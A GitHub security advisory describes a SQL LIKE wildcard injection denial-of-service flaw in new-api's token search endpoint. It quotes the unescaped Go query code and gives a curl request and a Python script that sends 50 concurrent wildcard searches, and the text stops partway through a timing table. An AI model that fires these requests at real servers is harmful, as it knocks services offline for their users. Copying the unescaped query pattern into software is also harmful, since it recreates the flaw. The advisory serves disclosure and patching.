GitHub Security Advisory: GHSA-w6x6-9fp7-fqm4
Package: github.com/QuantumNous/new-api (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Vulnerable versions: < 0.10.8-alpha.10
Patched in: 0.10.8-alpha.10

Summary: New API has an SQL LIKE Wildcard Injection DoS via Token Search

Details:
### Summary
A SQL LIKE wildcard injection vulnerability in the `/api/token/search` endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.

### Details
The token search endpoint accepts user-supplied `keyword` and `token` parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (`%`, `_`). This allows attackers to inject patterns that trigger expensive database queries.

### Vulnerable Code
File: `model/token.go:70`
```go
err = DB.Where("user_id = ?", userId).
       Where("name LIKE ?", "%"+keyword+"%").     // No wildcard escaping
       Where(commonKeyCol+" LIKE ?", "%"+token+"%").
       Find(&tokens).Error
```

### PoC

After creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.

<img width="1636" height="659" alt="image" src="https://github.com/user-attachments/assets/55e63dcd-884d-41bc-9bea-4300ba1b50c6" />

These data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:

```bash
# A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly.
curl 'http://localhost:3000/api/token/search?keyword=%&token='
```

<img width="491" height="350" alt="image" src="https://github.com/user-attachments/assets/c31d9639-3550-4e93-8735-fba068f56124" />

It will cause DoS.

```python
import requests
from concurrent.futures import ThreadPoolExecutor

def attack(session_cookie):
    requests.get(
        'http://localhost:3000/api/token/search',
        params={'keyword': '%_%_%_%_%_%', 'token': ''},
        cookies={'session': session_cookie},
        headers={'New-API-User': '1'}
    )

# Launch 50 concurrent malicious requests
with ThreadPoolExecutor(max_workers=50) as executor:
    for _ in range(50):
        executor.submit(attack, '<valid_session>')
```

### Impact
**Availability**

RAM Overflow

<img width="1078" height="145" alt="image" src="https://github.com/user-attachments/assets/c0bb5159-6943-42bd-a9f4-5c60c57fb149" />

Postgres unavailable

<img width="772" height="185" alt="image" src="https://github.com/user-attachments/assets/245e4f59-0ec5-4f9b-a839-3c9bb61be14b" />

- Database CPU usage spike to 100%
- Application memory exhaustion
- Legitimate user requests blocked or significantly delayed
- Potential application crash or database connection pool exhaustion

### Database Performance

Testing with 2,000,000 tokens:

| Pattern | Query Time | Rows | Impact |
|---------|-----------|------|--------|
| `test` (normal) | ~50ms | 0 | Low |
| `%` (full scan) | 5,973ms | 2,000,